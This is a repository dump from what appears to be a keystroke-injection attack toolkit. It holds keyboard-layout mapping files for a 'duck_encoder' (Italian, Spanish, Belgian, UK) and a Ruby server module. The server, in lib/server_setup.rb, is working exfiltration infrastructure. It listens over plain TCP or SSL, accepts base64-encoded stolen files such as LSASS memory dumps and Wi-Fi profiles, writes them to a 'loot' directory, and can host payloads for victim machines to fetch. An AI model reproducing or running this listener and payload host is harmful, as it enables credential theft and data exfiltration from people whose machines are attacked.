) 26 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 27 | // 42 * 28 | ASCII_2B = KEY_RIGHT_BRACE 29 | // 43 + 30 | ASCII_2C = KEY_COMMA 31 | // 44 , 32 | ASCII_2D = KEY_SLASH 33 | // 45 – 34 | ASCII_2E = KEY_PERIOD 35 | // 46 . 36 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 37 | // 47 / 38 | ASCII_30 = KEY_0 39 | // 48 0 40 | ASCII_31 = KEY_1 41 | // 49 1 42 | ASCII_32 = KEY_2 43 | // 50 2 44 | ASCII_33 = KEY_3 45 | // 51 3 46 | ASCII_34 = KEY_4 47 | // 52 4 48 | ASCII_35 = KEY_5 49 | // 53 5 50 | ASCII_36 = KEY_6 51 | // 54 6 52 | ASCII_37 = KEY_7 53 | // 55 7 54 | ASCII_38 = KEY_8 55 | // 56 8 56 | ASCII_39 = KEY_9 57 | // 57 9 58 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 59 | // 58 : 60 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 61 | // 59 ; 62 | ASCII_3C = KEY_NON_US_100 63 | // 60 < 64 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 65 | // 61 = 66 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 67 | // 62 > 68 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 69 | // 63 ? 70 | ASCII_40 = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT 71 | // 64 @ 72 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 73 | // 65 A 74 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 75 | // 66 B 76 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 77 | // 67 C 78 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 79 | // 68 D 80 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 81 | // 69 E 82 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 83 | // 70 F 84 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 85 | // 71 G 86 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 87 | // 72 H 88 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 89 | // 73 I 90 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 91 | // 74 J 92 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 93 | // 75 K 94 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 95 | // 76 L 96 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 97 | // 77 M 98 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 99 | // 78 N 100 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 101 | // 79 O 102 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 103 | // 80 P 104 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 105 | // 81 Q 106 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 107 | // 82 R 108 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 109 | // 83 S 110 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 111 | // 84 T 112 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 113 | // 85 U 114 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 115 | // 86 V 116 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 117 | // 87 W 118 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 119 | // 88 X 120 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 121 | // 89 Y 122 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 123 | // 90 Z 124 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 125 | // 91 [ 126 | ASCII_5C = KEY_TILDE 127 | // 92 \ 128 | 129 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 130 | // 93 ] 131 | ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT 132 | // 94 ^ 133 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 134 | // 95 _ 135 | 136 | // ascii 60, 96: accento grave, non mappato 137 | ASCII_61 = KEY_A 138 | // 97 a 139 | ASCII_62 = KEY_B 140 | // 98 b 141 | ASCII_63 = KEY_C 142 | // 99 c 143 | ASCII_64 = KEY_D 144 | // 100 d 145 | ASCII_65 = KEY_E 146 | // 101 e 147 | ASCII_66 = KEY_F 148 | // 102 f 149 | ASCII_67 = KEY_G 150 | // 103 g 151 | ASCII_68 = KEY_H 152 | // 104 h 153 | ASCII_69 = KEY_I 154 | // 105 i 155 | ASCII_6A = KEY_J 156 | // 106 j 157 | ASCII_6B = KEY_K 158 | // 107 k 159 | ASCII_6C = KEY_L 160 | // 108 l 161 | ASCII_6D = KEY_M 162 | // 109 m 163 | ASCII_6E = KEY_N 164 | // 110 n 165 | ASCII_6F = KEY_O 166 | // 111 o 167 | ASCII_70 = KEY_P 168 | // 112 p 169 | ASCII_71 = KEY_Q 170 | // 113 q 171 | ASCII_72 = KEY_R 172 | // 114 r 173 | ASCII_73 = KEY_S 174 | // 115 s 175 | ASCII_74 = KEY_T 176 | // 116 t 177 | ASCII_75 = KEY_U 178 | // 117 u 179 | ASCII_76 = KEY_V 180 | // 118 v 181 | ASCII_77 = KEY_W 182 | // 119 w 183 | ASCII_78 = KEY_X 184 | // 120 x 185 | ASCII_79 = KEY_Y 186 | // 121 y 187 | ASCII_7A = KEY_Z 188 | // 122 z 189 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 190 | // 123 { 191 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 192 | // 124 | 193 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 194 | // 125 } 195 | 196 | // ascii 7E, 126: tilde, non mappato 197 | ISO_8859_1_E0 = KEY_QUOTE 198 | // 192 a grave 199 | ISO_8859_1_E8 = KEY_LEFT_BRACE 200 | // 232 e grave 201 | ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 202 | // 233 e acuta 203 | ISO_8859_1_EC = KEY_EQUAL 204 | // 236 i grave 205 | ISO_8859_1_F2 = KEY_SEMICOLON 206 | // 242 o grave 207 | ISO_8859_1_F9 = KEY_BACKSLASH 208 | // 249 u grave -------------------------------------------------------------------------------- /duck_encoder/resources/es.properties: -------------------------------------------------------------------------------- 1 | // Author: Midnitesnake 2 | // 04-16-2013 3 | // LAYOUT_ESPANOL 4 | // Based from Italian Keymap 5 | 6 | KEY_NON_US_100 = 100 7 | 8 | ASCII_20 = KEY_SPACE 9 | // 32 10 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 11 | // 33 ! 12 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 13 | // 34 “ 14 | ASCII_23 = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 15 | // 35 # 16 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 17 | // 36 $ 18 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 19 | // 37 % 20 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 21 | // 38 & 22 | ASCII_27 = KEY_MINUS 23 | // 39 ‘ 24 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 25 | // 40 ( 26 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 27 | // 41 ) 28 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 29 | // 42 * 30 | ASCII_2B = KEY_RIGHT_BRACE 31 | // 43 + 32 | ASCII_2C = KEY_COMMA 33 | // 44 , 34 | ASCII_2D = KEY_SLASH 35 | // 45 – 36 | ASCII_2E = KEY_PERIOD 37 | // 46 . 38 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 39 | // 47 / 40 | ASCII_30 = KEY_0 41 | // 48 0 42 | ASCII_31 = KEY_1 43 | // 49 1 44 | ASCII_32 = KEY_2 45 | // 50 2 46 | ASCII_33 = KEY_3 47 | // 51 3 48 | ASCII_34 = KEY_4 49 | // 52 4 50 | ASCII_35 = KEY_5 51 | // 53 5 52 | ASCII_36 = KEY_6 53 | // 54 6 54 | ASCII_37 = KEY_7 55 | // 55 7 56 | ASCII_38 = KEY_8 57 | // 56 8 58 | ASCII_39 = KEY_9 59 | // 57 9 60 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 61 | // 58 : 62 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 63 | // 59 ; 64 | ASCII_3C = KEY_NON_US_100 65 | // 60 < 66 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 67 | // 61 = 68 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 69 | // 62 > 70 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 71 | // 63 ? 72 | ASCII_40 = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT 73 | // 64 @ 74 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 75 | // 65 A 76 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 77 | // 66 B 78 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 79 | // 67 C 80 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 81 | // 68 D 82 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 83 | // 69 E 84 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 85 | // 70 F 86 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 87 | // 71 G 88 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 89 | // 72 H 90 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 91 | // 73 I 92 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 93 | // 74 J 94 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 95 | // 75 K 96 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 97 | // 76 L 98 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 99 | // 77 M 100 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 101 | // 78 N 102 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 103 | // 79 O 104 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 105 | // 80 P 106 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 107 | // 81 Q 108 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 109 | // 82 R 110 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 111 | // 83 S 112 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 113 | // 84 T 114 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 115 | // 85 U 116 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 117 | // 86 V 118 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 119 | // 87 W 120 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 121 | // 88 X 122 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 123 | // 89 Y 124 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 125 | // 90 Z 126 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 127 | // 91 [ 128 | ASCII_5C = KEY_TILDE 129 | // 92 \ 130 | 131 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 132 | // 93 ] 133 | ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT 134 | // 94 ^ 135 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 136 | // 95 _ 137 | 138 | // ascii 60, 96: accento grave, non mappato 139 | ASCII_61 = KEY_A 140 | // 97 a 141 | ASCII_62 = KEY_B 142 | // 98 b 143 | ASCII_63 = KEY_C 144 | // 99 c 145 | ASCII_64 = KEY_D 146 | // 100 d 147 | ASCII_65 = KEY_E 148 | // 101 e 149 | ASCII_66 = KEY_F 150 | // 102 f 151 | ASCII_67 = KEY_G 152 | // 103 g 153 | ASCII_68 = KEY_H 154 | // 104 h 155 | ASCII_69 = KEY_I 156 | // 105 i 157 | ASCII_6A = KEY_J 158 | // 106 j 159 | ASCII_6B = KEY_K 160 | // 107 k 161 | ASCII_6C = KEY_L 162 | // 108 l 163 | ASCII_6D = KEY_M 164 | // 109 m 165 | ASCII_6E = KEY_N 166 | // 110 n 167 | ASCII_6F = KEY_O 168 | // 111 o 169 | ASCII_70 = KEY_P 170 | // 112 p 171 | ASCII_71 = KEY_Q 172 | // 113 q 173 | ASCII_72 = KEY_R 174 | // 114 r 175 | ASCII_73 = KEY_S 176 | // 115 s 177 | ASCII_74 = KEY_T 178 | // 116 t 179 | ASCII_75 = KEY_U 180 | // 117 u 181 | ASCII_76 = KEY_V 182 | // 118 v 183 | ASCII_77 = KEY_W 184 | // 119 w 185 | ASCII_78 = KEY_X 186 | // 120 x 187 | ASCII_79 = KEY_Y 188 | // 121 y 189 | ASCII_7A = KEY_Z 190 | // 122 z 191 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 192 | // 123 { 193 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 194 | // 124 | 195 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 196 | // 125 } 197 | 198 | // ascii 7E, 126: tilde, non mappato 199 | ISO_8859_1_E0 = KEY_QUOTE 200 | // 192 a grave 201 | ISO_8859_1_E8 = KEY_LEFT_BRACE 202 | // 232 e grave 203 | ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 204 | // 233 e acuta 205 | ISO_8859_1_EC = KEY_EQUAL 206 | // 236 i grave 207 | ISO_8859_1_F2 = KEY_SEMICOLON 208 | // 242 o grave 209 | ISO_8859_1_F9 = KEY_BACKSLASH 210 | // 249 u grave 211 | -------------------------------------------------------------------------------- /duck_encoder/resources/be.properties: -------------------------------------------------------------------------------- 1 | #ifdef LAYOUT_FRENCH_BELGIAN 2 | 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_8 8 | // 33 ! 9 | ASCII_22 = KEY_3 10 | // 34 " 11 | ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT 12 | // 35 # 13 | ASCII_24 = KEY_RIGHT_BRACE 14 | // 36 $ 15 | ASCII_25 = KEY_QUOTE, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_1 18 | // 38 & 19 | ASCII_27 = KEY_4 20 | // 39 ' 21 | ASCII_28 = KEY_5 22 | // 40 ( 23 | ASCII_29 = KEY_MINUS 24 | // 41 ) 25 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_SLASH, MODIFIERKEY_SHIFT 28 | // 43 + 29 | ASCII_2C = KEY_M 30 | // 44 , 31 | ASCII_2D = KEY_EQUAL 32 | // 45 - 33 | ASCII_2E = KEY_COMMA, MODIFIERKEY_SHIFT 34 | // 46 . 35 | ASCII_2F = KEY_PERIOD, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0, MODIFIERKEY_SHIFT 38 | // 48 0 39 | ASCII_31 = KEY_1, MODIFIERKEY_SHIFT 40 | // 49 1 41 | ASCII_32 = KEY_2, MODIFIERKEY_SHIFT 42 | // 50 2 43 | ASCII_33 = KEY_3, MODIFIERKEY_SHIFT 44 | // 51 3 45 | ASCII_34 = KEY_4, MODIFIERKEY_SHIFT 46 | // 52 4 47 | ASCII_35 = KEY_5, MODIFIERKEY_SHIFT 48 | // 53 5 49 | ASCII_36 = KEY_6, MODIFIERKEY_SHIFT 50 | // 54 6 51 | ASCII_37 = KEY_7, MODIFIERKEY_SHIFT 52 | // 55 7 53 | ASCII_38 = KEY_8, MODIFIERKEY_SHIFT 54 | // 55 8 55 | ASCII_39 = KEY_9, MODIFIERKEY_SHIFT 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD 58 | // 58 : 59 | ASCII_3B = KEY_COMMA 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_SLASH 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_M, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_Q, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_SEMICOLON, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_A, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_Z, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_W, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 126 | // 92 127 | ASCII_5D = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | ASCII_5E = KEY_6, MODIFIERKEY_RIGHT_ALT 130 | // 94 ^ 131 | ASCII_5F = KEY_EQUAL, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | ASCII_60 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 134 | // 96 ` (not tested) 135 | ASCII_61 = KEY_Q 136 | // 97 a 137 | ASCII_62 = KEY_B 138 | // 98 b 139 | ASCII_63 = KEY_C 140 | // 99 c 141 | ASCII_64 = KEY_D 142 | // 100 d 143 | ASCII_65 = KEY_E 144 | // 101 e 145 | ASCII_66 = KEY_F 146 | // 102 f 147 | ASCII_67 = KEY_G 148 | // 103 g 149 | ASCII_68 = KEY_H 150 | // 104 h 151 | ASCII_69 = KEY_I 152 | // 105 i 153 | ASCII_6A = KEY_J 154 | // 106 j 155 | ASCII_6B = KEY_K 156 | // 107 k 157 | ASCII_6C = KEY_L 158 | // 108 l 159 | ASCII_6D = KEY_SEMICOLON 160 | // 109 m 161 | ASCII_6E = KEY_N 162 | // 110 n 163 | ASCII_6F = KEY_O 164 | // 111 o 165 | ASCII_70 = KEY_P 166 | // 112 p 167 | ASCII_71 = KEY_A 168 | // 113 q 169 | ASCII_72 = KEY_R 170 | // 114 r 171 | ASCII_73 = KEY_S 172 | // 115 s 173 | ASCII_74 = KEY_T 174 | // 116 t 175 | ASCII_75 = KEY_U 176 | // 117 u 177 | ASCII_76 = KEY_V 178 | // 118 v 179 | ASCII_77 = KEY_Z 180 | // 119 w 181 | ASCII_78 = KEY_X 182 | // 120 x 183 | ASCII_79 = KEY_Y 184 | // 121 y 185 | ASCII_7A = KEY_W 186 | // 122 z 187 | ASCII_7B = KEY_9, MODIFIERKEY_RIGHT_ALT 188 | // 123 { 189 | ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT 190 | // 124 | 191 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 192 | // 125 } 193 | ASCII_7E = KEY_SLASH, MODIFIERKEY_RIGHT_ALT 194 | // 126 ~ 195 | ASCII_7F = KEY_BACKSPACE 196 | // 127 197 | ISO_8859_1_A0 = KEY_SPACE 198 | // 160 Nonbreakng Space 199 | ISO_8859_1_A3 = KEY_BACKSLASH, MODIFIERKEY_SHIFT 200 | // 163 £ Pound Sign 201 | ISO_8859_1_A7 = KEY_6 202 | // 167 § SECTION SIGN 203 | ISO_8859_1_B0 = KEY_MINUS, MODIFIERKEY_SHIFT 204 | // 176 ° DEGREE SIGN 205 | ISO_8859_1_B2 = KEY_TILDE 206 | // 178 ² SUPERSCRIPT TWO 207 | ISO_8859_1_B3 = KEY_TILDE, MODIFIERKEY_SHIFT 208 | // 179 ³ SUPERSCRIPT THREE 209 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 210 | // 180 ´ ACUTE ACCENT 211 | ISO_8859_1_B5 = KEY_BACKSLASH 212 | // 181 µ MICRO SIGN 213 | ISO_8859_1_E0 = KEY_0 214 | // 224 à a GRAVE 215 | ISO_8859_1_E7 = KEY_9 216 | // 231 ç c CEDILLA 217 | ISO_8859_1_E8 = KEY_7 218 | // 232 è e GRAVE 219 | ISO_8859_1_E9 = KEY_2 220 | // 233 é e ACUTE 221 | ISO_8859_1_F9 = KEY_QUOTE 222 | // 249 ù u GRAVE - TODO; check FRENCH 223 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 224 | // € Euro Sign 225 | 226 | -------------------------------------------------------------------------------- /lib/server_setup.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'socket' 3 | require 'openssl' 4 | require 'core' 5 | require 'uri' 6 | include Core::Commands 7 | module Server 8 | class Setup 9 | include Core::Files 10 | def ssl(host, port) 11 | tcp_server = TCPServer.new(host, port) 12 | ctx = OpenSSL::SSL::SSLContext.new 13 | ctx.cert = OpenSSL::X509::Certificate.new( 14 | File.open("#{cert_dir}server.crt")) 15 | ctx.key = OpenSSL::PKey::RSA.new(File.open("#{cert_dir}server.key")) 16 | server = OpenSSL::SSL::SSLServer.new tcp_server, ctx 17 | server 18 | end 19 | 20 | def use_ssl? 21 | ssl = rgets('Use ssl? [t/f]: ', 't') 22 | ssl.downcase[0] == 't' ? true : false 23 | end 24 | 25 | def host 26 | host_name = rgets('Enter the host ip/url to listen on: ', 'localhost') 27 | print_success("Using #{host_name} as server") 28 | host_name 29 | end 30 | 31 | def port 32 | port = rgets('Enter the port you would like to use [443]: ', 443) 33 | until (1..65_535).cover?(port.to_i) 34 | print_error('Not a valid port') 35 | sleep(1) 36 | end 37 | print_success("Using #{port}") 38 | port 39 | end 40 | 41 | def uri 42 | rgets('Enter the URI: ', '') 43 | end 44 | 45 | def host_payload? 46 | choice = '' 47 | until choice.downcase[0] == 'y' || choice.downcase[0] == 'n' 48 | choice = rgets('Host payload? [y/n]: ', 'y') 49 | end 50 | choice.downcase[0] == 'y' ? true : false 51 | end 52 | 53 | def host_listener? 54 | choice = '' 55 | until choice.downcase[0] == 'y' || choice.downcase[0] == 'n' 56 | choice = rgets('Host listener? [y/n]: ', 'y') 57 | end 58 | choice.downcase[0] == 'y' ? true : false 59 | end 60 | end 61 | 62 | class Start 63 | include Core::Files 64 | def initialize(ssl, host, port) 65 | Dir.mkdir(loot_dir) unless Dir.exist?(loot_dir) 66 | if ssl 67 | Menu.opts[:banner][:host] = host 68 | Menu.opts[:banner][:ports] = port 69 | @server = Server::Setup.new.ssl(host, port.to_i) 70 | print_info("Starting SSL Server!\n") 71 | else 72 | Menu.opts[:banner][:host] = host 73 | Menu.opts[:banner][:ports] = port 74 | @server = TCPServer.open(port.to_i) 75 | print_info("Starting Server!\n") 76 | end 77 | end 78 | 79 | def listener(type = '') 80 | loop do 81 | Thread.start(@server.accept) do |client| 82 | print_info("Client Connected.\n") 83 | file_name = client.gets 84 | file_name.strip! 85 | print_success("Got #{file_name} file!\n") 86 | print_info("Getting Data\n") 87 | out_put = client.gets 88 | print_info("Writing to File\n") 89 | case type 90 | when 'lsass' 91 | final = "#{file_name}_#{_timestamp}.dmp" 92 | when 'wifi' 93 | final = "#{file_name}_#{_timestamp}.xml" 94 | else 95 | final = "#{file_name}_#{_timestamp}" 96 | end 97 | File.open("#{loot_dir}#{final}", 'w') do |f| 98 | f.write(Base64.decode64(out_put)) 99 | end 100 | print_success("File Done!\n") 101 | client.close 102 | end 103 | end 104 | rescue => error 105 | print_error(error) 106 | end 107 | 108 | def host_file(path) 109 | time = Time.now.localtime.strftime('%a %d %b %Y %H:%M:%S %Z') 110 | loop do 111 | Thread.start(@server.accept) do |client| 112 | print_info("Client Connected.\n") 113 | request = client.gets 114 | request_uri = request.split(' ')[1] 115 | path = URI.unescape(URI(request_uri).path) 116 | if File.exist?(path) && !File.directory?(path) 117 | File.open(path) do |f| 118 | headers = ['HTTP/1.1 200 OK', 119 | "Date: #{time}", 120 | 'Server: Ruby', 121 | 'Content-Type: applicaiton/octet-stream; charset=iso-8859-1', 122 | "Content-Length: #{f.size}\r\n\r\n"].join("\r\n") 123 | client.print headers 124 | IO.copy_stream(f, client) 125 | end 126 | else 127 | message = "File not found\n" 128 | headers = ['HTTP/1.1 404 Not Found', 129 | "Date: #{time}", 130 | 'Server: Ruby', 131 | 'Content-Type: text/plain; charset=iso-8859-1', 132 | "Content-Length: #{message.size}\r\n\r\n"].join("\r\n") 133 | client.print headers 134 | client.print message 135 | end 136 | client.close 137 | end 138 | end 139 | end 140 | 141 | def host_raw(raw_string) 142 | time = Time.now.localtime.strftime('%a %d %b %Y %H:%M:%S %Z') 143 | loop do 144 | begin 145 | Thread.start(@server.accept) do |client| 146 | print_info("Client Connected!\n") 147 | headers = ['HTTP/1.1 200 OK', 148 | "Date: #{time}", 149 | 'Server: Ruby', 150 | 'Content-Type: text/html; charset=iso-8859-1', 151 | "Content-Length: #{raw_string.length}\r\n\r\n"].join("\r\n") 152 | client.print headers 153 | client.print "#{raw_string}\n" 154 | client.close 155 | end 156 | rescue => e 157 | puts e 158 | end 159 | end 160 | end 161 | 162 | private 163 | 164 | def _timestamp 165 | Time.now.strftime('%Y_%m_%d_%H_%M_%S') 166 | end 167 | end 168 | end 169 | -------------------------------------------------------------------------------- /duck_encoder/resources/uk.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_UNITED_KINGDOM 2 | //KEY_NON_US_100 = 100 3 | KEY_BACKSLASH=64 4 | KEY_ASH=100 5 | 6 | ASCII_20 = KEY_SPACE 7 | // 32 8 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 9 | // 33 ! 10 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 11 | // 34 " 12 | ASCII_5C = KEY_ASH 13 | // 35 # 14 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 15 | // 36 $ 16 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 17 | // 37 % 18 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 19 | // 38 & 20 | ASCII_27 = KEY_QUOTE 21 | // 39 ' 22 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 23 | // 40 ( 24 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 25 | // 41 ) 26 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 27 | // 42 * 28 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 29 | // 43 + 30 | ASCII_2C = KEY_COMMA 31 | // 44 , 32 | ASCII_2D = KEY_MINUS 33 | // 45 - 34 | ASCII_2E = KEY_PERIOD 35 | // 46 . 36 | ASCII_2F = KEY_SLASH 37 | // 47 / 38 | ASCII_30 = KEY_0 39 | // 48 0 40 | ASCII_31 = KEY_1 41 | // 49 1 42 | ASCII_32 = KEY_2 43 | // 50 2 44 | ASCII_33 = KEY_3 45 | // 51 3 46 | ASCII_34 = KEY_4 47 | // 52 4 48 | ASCII_35 = KEY_5 49 | // 53 5 50 | ASCII_36 = KEY_6 51 | // 54 6 52 | ASCII_37 = KEY_7 53 | // 55 7 54 | ASCII_38 = KEY_8 55 | // 55 8 56 | ASCII_39 = KEY_9 57 | // 57 9 58 | ASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT 59 | // 58 : 60 | ASCII_3B = KEY_SEMICOLON 61 | // 59 ; 62 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 63 | // 60 < 64 | ASCII_3D = KEY_EQUAL 65 | // 61 = 66 | 